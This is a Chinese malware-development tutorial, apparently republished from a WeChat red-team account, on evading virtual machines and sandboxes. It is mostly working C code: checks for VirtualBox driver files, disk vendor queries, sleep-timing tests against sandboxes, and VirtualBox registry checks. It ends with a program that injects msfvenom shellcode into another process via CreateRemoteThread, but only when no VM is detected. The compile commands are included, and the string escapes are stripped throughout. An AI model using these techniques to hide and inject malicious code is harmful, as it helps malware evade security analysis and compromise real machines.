【MalDev-08】反虚拟机

admin 2024年12月8日23:40:41评论6 views字数 10004阅读33分20秒阅读模式

02-反虚拟机

01-文件系统检测

检测不同虚拟机的特征文件

VirtualBox VM:
c:windowssystem32driversVBoxMouse.sys
c:windowssystem32driversVBoxGuest.sys
c:windowssystem32driversVBoxSF.sys
c:windowssystem32driversVBoxVideo.sys
c:windowssystem32vboxdisp.dll
c:windowssystem32vboxhook.dll
c:windowssystem32vboxservice.exe
c:windowssystem32vboxtray.exe

#include <windows.h>
#include <stdio.h>

BOOL checkVM() {
  // Paths to check
  LPCSTR path1 = "c:\windows\system32\drivers\VBoxMouse.sys";
  LPCSTR path2 = "c:\windows\system32\drivers\VBoxGuest.sys";

  // Use GetFileAttributes to check if the first file exists
  DWORD attributes1 = GetFileAttributes(path1);

  // Use GetFileAttributes to check if the second file exists
  DWORD attributes2 = GetFileAttributes(path2);

  // Check if both files exist
  if ((attributes1 != INVALID_FILE_ATTRIBUTES && !(attributes1 & FILE_ATTRIBUTE_DIRECTORY)) ||
    (attributes2 != INVALID_FILE_ATTRIBUTES && !(attributes2 & FILE_ATTRIBUTE_DIRECTORY))) {
    // At least one of the files exists
    return TRUE;
  } else {
    // Both files do not exist or are directories
    return FALSE;
  }
}

int main() {
  if (checkVM()) {
    printf("The system appears to be a virtual machine.n");
  } else {
    printf("The system does not appear to be a virtual machine.n");
    printf("hacking...");
  }

  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

我用的是vmware,找了几个vmware的sys文件供参考

c:windowssystem32下的

vm3dmp-debug.sys
vm3dmp-stats.sys
vm3dmp.sys
vm3dmp_loader.sys
vmhgfs.sys
vmmemctl.sys
vmmouse.sys
vmrawdsk.sys
vmusbmouse.sys

02-硬件检测

虚拟机是模拟的硬件设备,描述上有特征

01-HDD(硬盘供应商ID)

BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
)
;

#include <windows.h>
#include <stdio.h>

BOOL checkVM() {
  STORAGE_PROPERTY_QUERY query;
  query.PropertyId = StorageDeviceProperty;
  query.QueryType = PropertyStandardQuery;

  HANDLE hDevice = CreateFile("\\.\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0NULL);

  if (hDevice == INVALID_HANDLE_VALUE) {
    printf("Failed to open physical drive. Error code: %dn"GetLastError());
    return FALSE;
  }

  STORAGE_DESCRIPTOR_HEADER header;
  DWORD bytesReturned = 0;

  // Get the size of the STORAGE_DESCRIPTOR_HEADER
  if (!DeviceIoControl(hDevice, IOCTL_STORAGE_QUERY_PROPERTY, &query, sizeof(query), &header, sizeof(header), &bytesReturned, NULL)) {
    printf("Failed to get storage property header. Error code: %dn"GetLastError());
    CloseHandle(hDevice);
    return FALSE;
  }

  // Allocate memory to retrieve the actual data
  BYTE* buffer = (BYTE*)malloc(header.Size);

  if (buffer == NULL) {
    printf("Memory allocation failed.n");
    CloseHandle(hDevice);
    return FALSE;
  }

  // Get the storage property data
  if (!DeviceIoControl(hDevice, IOCTL_STORAGE_QUERY_PROPERTY, &query, sizeof(query), buffer, header.Size, &bytesReturned, NULL)) {
    printf("Failed to get storage property data. Error code: %dn"GetLastError());
    free(buffer);
    CloseHandle(hDevice);
    return FALSE;
  }

  // Replace the following with the actual structure for Vendor ID
  // In this example, assuming Vendor ID is at a specific offset in the buffer
  char* vendorId = (char*)(buffer + sizeof(STORAGE_DESCRIPTOR_HEADER));

  free(buffer);
  CloseHandle(hDevice);
  return TRUE;
}

int main() {
  if (checkVM()) {
    // Handle virtual machine detected case
    MessageBox(NULL"Meow!""=^..^=", MB_OK);
  } else {
    // Handle non-virtual machine case
    MessageBox(NULL"Squeak!""=^..^=", MB_OK);
  }

  return 0;
}

执行需要管理员权限,获得Vendor ID可以进行比较,上面代码没有比较过程

03-基于时间的沙箱逃逸

沙箱仿真时间很少超过3-5分钟,恶意软件可以sleep一段时间再运行恶意功能,但是现在沙箱有sleep-skipping技术很快执行完sleep,类似加速器,一次可以检测时间差来判断

#include <windows.h>
#include <stdio.h>

// Definitions for NtDelayExecution
typedef NTSTATUS (WINAPI *fnNtDelayExecution)(
  BOOLEAN Alertable,
  PLARGE_INTEGER DelayInterval
)
;

// Function to check if the system is a virtual machine
BOOL checkVM() {
  // Get the system uptime before sleeping
  ULONG64 uptimeBeforeSleep = GetTickCount64();

  // Dynamically obtain the address of NtDelayExecution
  HMODULE ntdll = GetModuleHandle("ntdll.dll");
  fnNtDelayExecution myNtDelayExecution = (fnNtDelayExecution)GetProcAddress(ntdll, "NtDelayExecution");

  // Check if the function is successfully obtained
  if (!myNtDelayExecution) {
    printf("Failed to obtain NtDelayExecution function address.n");
    return FALSE;
  }

  // Set the sleep time (in 100-nanosecond intervals) - adjust as needed
  LARGE_INTEGER sleepInterval;
  sleepInterval.QuadPart = -10000000// 1 second

  // Call NtDelayExecution to sleep
  myNtDelayExecution(FALSE, &sleepInterval);

  // Get the system uptime after sleeping
  ULONG64 uptimeAfterSleep = GetTickCount64();

  // Calculate the actual sleep time in milliseconds
  ULONG64 actualSleepTime = uptimeAfterSleep - uptimeBeforeSleep;

  // Print the actual sleep time
  printf("Actual sleep time: %llu millisecondsn", actualSleepTime);

  // Check if the actual sleep time is close to the expected sleep time
  // This is just a basic example, you might want to adjust the threshold based on your specific use case
  if (actualSleepTime < 1000 && actualSleepTime > 800) {
    printf("Likely not a virtual machine.n");
  } else {
    printf("Possibly a virtual machine.n");
  }

  return TRUE;
}

int main() {
  if (checkVM()) {
    // Handle virtual machine detected case
    MessageBox(NULL"Meow!""=^..^=", MB_OK);
  } else {
    // Handle non-virtual machine case
    MessageBox(NULL"Squeak!""=^..^=", MB_OK);
  }
  return 0;
}

编译

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

计算时间差值,判断是不是在沙箱中

04-注册表检测

判断注册表项是否存在

int registryKeyExist(HKEY rootKey, char* subKeyName) {
HKEY registryKey = nullptr;
LONG result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ,
&registryKey);
if (result == ERROR_SUCCESS) {
RegCloseKey(registryKey);
return TRUE;
}
return FALSE;
}

判断具体值

int compareRegistryKeyValue(HKEY rootKey, char* subKeyName, char*
registryValue, char* comparisonValue)
 
{
HKEY registryKey = nullptr;
LONG result;
char retrievedValue[1024];
DWORD size = sizeof(retrievedValue);
result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ,
&registryKey);
if (result == ERROR_SUCCESS) {
RegQueryValueExA(registryKey, registryValue, NULLNULL,
(LPBYTE)retrievedValue, &size);
if (result == ERROR_SUCCESS) {
if (strcmp(retrievedValue, comparisonValue) == 0) {
return TRUE;
}
}
}
return FALSE;
}

检测vbox虚拟机代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// msfvenom -p windows/x64/messagebox TEXT="Hello, Packt!" TITLE="=^..^=" -f c
unsigned char myPayload[] =
"xfcx48x81xe4xf0xffxffxffxe8xd0x00x00x00x41"
"x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60"
"x3ex48x8bx52x18x3ex48x8bx52x20x3ex48x8bx72"
"x50x3ex48x0fxb7x4ax4ax4dx31xc9x48x31xc0xac"
"x3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2"
"xedx52x41x51x3ex48x8bx52x20x3ex8bx42x3cx48"
"x01xd0x3ex8bx80x88x00x00x00x48x85xc0x74x6f"
"x48x01xd0x50x3ex8bx48x18x3ex44x8bx40x20x49"
"x01xd0xe3x5cx48xffxc9x3ex41x8bx34x88x48x01"
"xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01"
"xc1x38xe0x75xf1x3ex4cx03x4cx24x08x45x39xd1"
"x75xd6x58x3ex44x8bx40x24x49x01xd0x66x3ex41"
"x8bx0cx48x3ex44x8bx40x1cx49x01xd0x3ex41x8b"
"x04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58"
"x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41"
"x59x5ax3ex48x8bx12xe9x49xffxffxffx5dx49xc7"
"xc1x00x00x00x00x3ex48x8dx95xfex00x00x00x3e"
"x4cx8dx85x0cx01x00x00x48x31xc9x41xbax45x83"
"x56x07xffxd5x48x31xc9x41xbaxf0xb5xa2x56xff"
"xd5x48x65x6cx6cx6fx2cx20x50x61x63x6bx74x21"
"x00x3dx5ex2ex2ex5ex3dx00";

unsigned int myPayloadLen = sizeof(myPayload);

int checkRegistryKey(HKEY rootKey, char* subKeyName) {
  HKEY registryKey = nullptr;
  LONG result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ, &registryKey);
  if (result == ERROR_SUCCESS) {
    RegCloseKey(registryKey);
    return TRUE;
  }
  return FALSE;
}

int compareRegistryKeyValue(HKEY rootKey, char* subKeyName, char* registryValue, char* comparisonValue) {
  HKEY registryKey = nullptr;
  LONG result;
  char value[1024];
  DWORD size = sizeof(value);
  result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ, &registryKey);
  if (result == ERROR_SUCCESS) {
    RegQueryValueExA(registryKey, registryValue, NULLNULL, (LPBYTE)value, &size);
    if (result == ERROR_SUCCESS) {
      if (strcmp(value, comparisonValue) == 0) {
        return TRUE;
      }
    }
  }
  return FALSE;
}

int main(int argc, char* argv[]) {
  HANDLE processHandle; // Process handle
  HANDLE remoteThread;  // Remote thread
  PVOID remoteBuffer;   // Remote buffer

  if (checkRegistryKey(HKEY_LOCAL_MACHINE, "HARDWARE\ACPI\FADT\VBOX__")) {
    printf("VirtualBox VM registry path value detected :(n");
    // return -2;
  }

  if (compareRegistryKeyValue(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SystemInformation",
    "SystemProductName""VirtualBox")) {
    printf("VirtualBox VM registry key value detected :(n");
    // return -2;
  }

  if (compareRegistryKeyValue(HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SystemInformation",
    "BiosVersion""VirtualBox")) {
    printf("VirtualBox VM BIOS version detected :(n");
    return -2;
  }

  // Parse process ID
  printf("PID: %i"atoi(argv[1]));
  processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  // Allocate memory buffer for remote process
  remoteBuffer = VirtualAllocEx(processHandle, NULL, myPayloadLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  // "Copy" data between processes
  WriteProcessMemory(processHandle, remoteBuffer, myPayload, myPayloadLen, NULL);

  // Our process starts a new thread
  remoteThread = CreateRemoteThread(processHandle, NULL0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL0NULL);
  CloseHandle(processHandle);
  return 0;
}

可以检测出是不是在vbox虚拟机中运行

配套实验环境和电子书加Q拉群下载

【MalDev-08】反虚拟机

原文始发于微信公众号(高级红队专家):【MalDev-08】反虚拟机

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月8日23:40:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【MalDev-08】反虚拟机http://cn-sec.com/archives/3482406.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息